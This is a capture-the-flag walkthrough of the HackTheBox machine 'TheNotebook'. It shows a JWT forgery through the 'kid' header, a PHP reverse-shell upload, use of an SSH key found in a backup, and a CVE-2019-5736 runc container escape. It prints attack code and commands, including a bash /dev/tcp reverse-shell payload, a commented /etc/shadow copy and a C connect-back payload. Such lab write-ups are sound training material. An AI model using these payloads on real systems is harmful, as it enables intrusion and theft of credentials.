Release Date2021-03-06
Retired Date<don’t know>
IP Address10.10.10.230

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.


As usual on other boxes, I started this one running an nmap scan:

# Nmap 7.80 scan initiated Thu Jun  3 23:32:15 2021 as: nmap -p- -sV -sC -oN nmap
Nmap scan report for
Host is up (0.058s latency).
Not shown: 65532 closed ports
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Jun  3 23:32:43 2021 -- 1 IP address (1 host up) scanned in 28.39 seconds

Nothing out of the ordinary. Let’s start a gobuster instance and start checking out the site.


Not much to see on the website. Let’s see gobuster’s results:

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2021/06/03 23:33:07 Starting gobuster
/admin (Status: 403)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
2021/06/03 23:35:48 Finished

Nothing much either…. basically the endpoints from the site plus that /admin that just returns a 403, so we can’t access it.

Just for a little sanity check, I’ll just ran nikto on the site:

- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2021-06-03 23:36:14 (GMT1)
+ Server: nginx/1.14.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
Illegal hexadecimal digit '.' ignored at /usr/share/nikto/plugins/nikto_headers.plugin line 108.
+ Server leaks inodes via ETags, header found with file /static/favicon.ico, inode: 94579930148, size: 87046, mtime: Sat Jan 31 07:04:35 2026
+ Allowed HTTP Methods: OPTIONS, HEAD, GET 
+ 5053 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-06-03 23:41:17 (GMT1) (303 seconds)
+ 1 host(s) tested

Nothing out of the ordinary too. Ok, problem must be on the website itself then. Let’s start by registering a user:



Register isn’t just a dummy function, it actually works, and now we can register some notes with the system. I tried to do some basic XSS on the site but nothing worked as far as I can tell, so I started to analyze the site’s sources and data.


While looking at the source code, I noticed the site also stores cookies on the browser:

  • auth looks like it’s storing some base64 encoded data
  • uuid has our uuid

I immediately recognized the format as a JSON Web Tokens, which is composed by 3 parts: header, payload and signature. All parts are split up by . and the signature part is what verifies that the contents of the header and the payload parts weren’t tampered between the server sending them and getting them back (so, on the client or in transit). I went ahead and decoded it:


The interesting part is this one:

  "typ": "JWT",
  "alg": "RS256",
  "kid": "http://localhost:7070/privKey.key"

  "username": "r3pek",
  "email": "r3pek@thenotebook.htb",
  "admin_cap": 0

So the Payload part is relative to the logged in user, and there’s a special field that denotes if the user is admin or not (or at least is what I thought it was). The header also has a problem… While we actually can’t access the privKey.key file because it’s running on a service on port 7000 and we can’t get there (nmap didn’t show port 7000 as opened), this means it’s actually validating the signature against a remote private key. What that means is that we can actually create a new key to sign the content, change whatever we want, place the private key on a webserver that the box can connect to, and the signature will be valid but different than the one they sent us. If the server doesn’t validate the signature as its own, we’re gold!

So first, let’s create and key pair that can be used to sign our cookie:

$ ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
$ openssl rsa -in jwtRS256.key -pubout -outform PEM -out

Now we need to actually generate that cookie. For that, I went ahead and created a simple python script to generate it for me:

 1from jwt import JWT, jwk_from_pem
 3key_pvt = "jwtRS256.key"
 4with open(key_pvt, 'rb') as fh:
 5    signing_key = jwk_from_pem(
 8instance = JWT()
 9payload = { "username": "r3pek", "email": "r3pek@thenotebook.htb", "admin_cap":"1" }
10cookie = instance.encode(payload, signing_key, alg="RS256", optional_headers={"kid": ""})

When executed, this will generate the cookie ready to be changed on the browser:

$ python 


And now we have access to the Admin section of the site where we can “View Notes” and “Upload File”. Let’s start with the “View Notes”:


Here we can read all notes of the site, from every user. The first ones are actually some “admin” notes:

  • Need to fix config: Have to fix this issue where PHP files are being executed :/. This can be a potential security issue for the server.
  • Backups are scheduled: Finally! Regular backups are necessary. Thank god it’s all easy on server.
  • The Notebook Quotes: <to big to actually add here but it’s just a big text>
  • Is my data safe?: I wonder is the admin good enough to trust my data with?

Looks like there were some questioning about the safety of the data (with good reason if you ask me 😉). That first note did actually make me think. We can upload files on the admin section. Maybe I’ll just upload a php reverse shell and see how it goes? 😇

After the necessary changes to the php file, we have this:


Now, we press “View” and…

$ nc -nlvp 5555
Ncat: Version 7.80 ( )
Ncat: Listening on :::5555
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 01:27:10 up 12:35,  2 users,  load average: 0.02, 0.05, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

We have our foothold as www-data user!

user flag

A quick check for users on the system showed me that there is a noah user and that he has the user flag so we need to find a away to get there.

$ ls /home -lh
total 4.0K
drwxr-xr-x 5 noah noah 4.0K Feb 23 08:57 noah
$ ls /home/noah -lh
total 4.0K
-r-------- 1 noah noah 33 Jun  6 01:30 user.txt

After looking around for a while getting nowhere, I remembered the second “admin” note that exists on the site that talks about backups. Maybe we should check the /var/backups directory:

$ cd /var/backups
$ ls
$ tar -tvf home.tar.gz
drwxr-xr-x root/root         0 2021-02-12 06:24 home/
drwxr-xr-x noah/noah         0 2021-02-17 09:02 home/noah/
-rw-r--r-- noah/noah       220 2018-04-04 18:30 home/noah/.bash_logout
drwx------ noah/noah         0 2021-02-16 10:47 home/noah/.cache/
-rw-r--r-- noah/noah         0 2021-02-16 10:47 home/noah/.cache/
drwx------ noah/noah         0 2021-02-12 06:25 home/noah/.gnupg/
drwx------ noah/noah         0 2021-02-12 06:25 home/noah/.gnupg/private-keys-v1.d/
-rw-r--r-- noah/noah      3771 2018-04-04 18:30 home/noah/.bashrc
-rw-r--r-- noah/noah       807 2018-04-04 18:30 home/noah/.profile
drwx------ noah/noah         0 2021-02-17 08:59 home/noah/.ssh/
-rw------- noah/noah      1679 2021-02-17 08:59 home/noah/.ssh/id_rsa
-rw-r--r-- noah/noah       398 2021-02-17 08:59 home/noah/.ssh/authorized_keys
-rw-r--r-- noah/noah       398 2021-02-17 08:59 home/noah/.ssh/

Oh, this notes are coming in handy 😉. We now have a “public private key” to login as noah 🥳 With a simple copy/paste I recreated the files locally and tried to login:

$ chmod 600 noah-id_rsa*

$ ls noah-id_rsa*
-rw-------. 1 r3pek admins 1.7K Jun  5 02:31 noah-id_rsa
-rw-------. 1 r3pek admins  398 Jun  5 02:31

$ ssh noah@ -i noah-id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sun Jun  6 01:36:14 UTC 2021

  System load:  0.0               Processes:              177
  Usage of /:   40.0% of 7.81GB   Users logged in:        0
  Memory usage: 12%               IP address for ens160:
  Swap usage:   0%                IP address for docker0:

61 packages can be updated.
0 updates are security updates.

Last login: Wed Feb 24 09:09:34 2021 from
noah@thenotebook:~$ cat user.txt 

user flag accomplished 😃!

root flag

Now for the root flag we start with our usual sudo -l :

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass,

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

We can run a docker container as root? Weird. Can this be the famous docker escape vulnerability?

I searched the system a little more but it really looked like that was the way to go. With that in mind, I search for PoCs and found several of them. There are PoCs based on images that we actually can’t use because we can only run a fixed image (webapp-dev01), so I just have to ditch those. I ended up using these 2:

I actually tried for 5 or 6 hours to get the Frichetten one to execute properly, while the other one was just strait simple. I’ll just describe the two in here.

First you need to get into the container, and for that just start it like this:

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@0f4c2517af40:/opt/webapp# cd
root@0f4c2517af40:~# ls
root@0f4c2517af40:~# pwd

⚠️ Test first with /bin/sh. If it prints a message saying No help topic for '/bin/sh' the exploit won’t work. Wait until the box fixes itself and then start the exploitation process (you should be able to run the container with /bin/sh). If it takes too long, just reset the box.

Frichetten’s PoC

To get this version working, just download main.go and edit the payload line to something like this:

// This is the line of shell commands that will execute on the host
//var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
var payload = "#!/bin/bash\nbash -i >& /dev/tcp/ 0>&1"

Then, compile the binary and send it to the container (I just used wget to download the file from a python -m http.server process).

$ go build main.go

This will build the binary file that you can then download in the container:

root@0f4c2517af40:~# wget
--2021-06-06 01:54:49--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 2139997 (2.0M) [application/octet-stream]
Saving to: ‘CVE-2019-5736’

CVE-2019-5736       100%[==================>]   2.04M  4.86MB/s    in 0.4s    

2021-06-06 01:54:50 (4.86 MB/s) - ‘CVE-2019-5736’ saved [2139997/2139997]

root@0f4c2517af40:~# chmod +x CVE-2019-5736

Now, the important part, and what made me loose too much time using this PoC (maybe I did it wrong), is that it has a really tight timing for you be able to exploit it. So, for it to work, as soon as you see the line [+] Overwritten /bin/sh successfully appear, immediately run the same command as before to open a shell on the container but with /bin/sh instead of /bin/bash. If you can’t get it, just wait for the box to clean up the state (you won’t be able to run any docker images anymore) which it does automatically, and try again.

In the end, you should see something like this:


feexd’s PoC

This version is a little more forgiven on the timing and I was able to more easily get the root reverse shell working. Basically, you edit payload.c to add your IP/PORT information:

⚠️ be careful because the PORT is hardcoded on line 17. Change it to use the PORT define

 8#define HOST ""
 9#define PORT 5555
11int main (int argc, char **argv) {
12  int scktd;
13  struct sockaddr_in client;
15  client.sin_family = AF_INET;
16  client.sin_addr.s_addr = inet_addr(HOST);
17  client.sin_port = htons(PORT);
18  //...

After this, just compile the files and send them, along with the, to the docker container as in the Frichetten’s method:

$ gcc -s payload.c -o payload -Wall
$ gcc -s exploit.c -o exploit -Wall
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@446efbea8dc8:/opt/webapp# cd
root@446efbea8dc8:~# wget
--2021-06-06 02:08:22--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 21400 (21K) [application/octet-stream]
Saving to: ‘exploit’

exploit             100%[==================>]  20.90K  --.-KB/s    in 0.07s   

2021-06-06 02:08:22 (313 KB/s) - ‘exploit’ saved [21400/21400]

root@446efbea8dc8:~# wget
--2021-06-06 02:08:28--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 21384 (21K) [application/octet-stream]
Saving to: ‘payload’

payload             100%[==================>]  20.88K  --.-KB/s    in 0.05s   

2021-06-06 02:08:28 (419 KB/s) - ‘payload’ saved [21384/21384]

root@446efbea8dc8:~# wget
--2021-06-06 02:08:38--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 455 [application/x-sh]
Saving to: ‘’              100%[==================>]     455  --.-KB/s    in 0.02s   

2021-06-06 02:08:38 (22.5 KB/s) - ‘’ saved [455/455]

root@446efbea8dc8:~# ls
exploit  payload
root@446efbea8dc8:~# chmod +x *

This version of the exploit takes more time to finish but just execute and as soon as it finishes (it will print a message saying Payload deployed), launch the second docker container with /bin/sh as command. Again, if it doesn’t work, wait a little for the box to reset the files to the default ones and try again.


There we go, two methods of getting the root flag 🥳

root password hash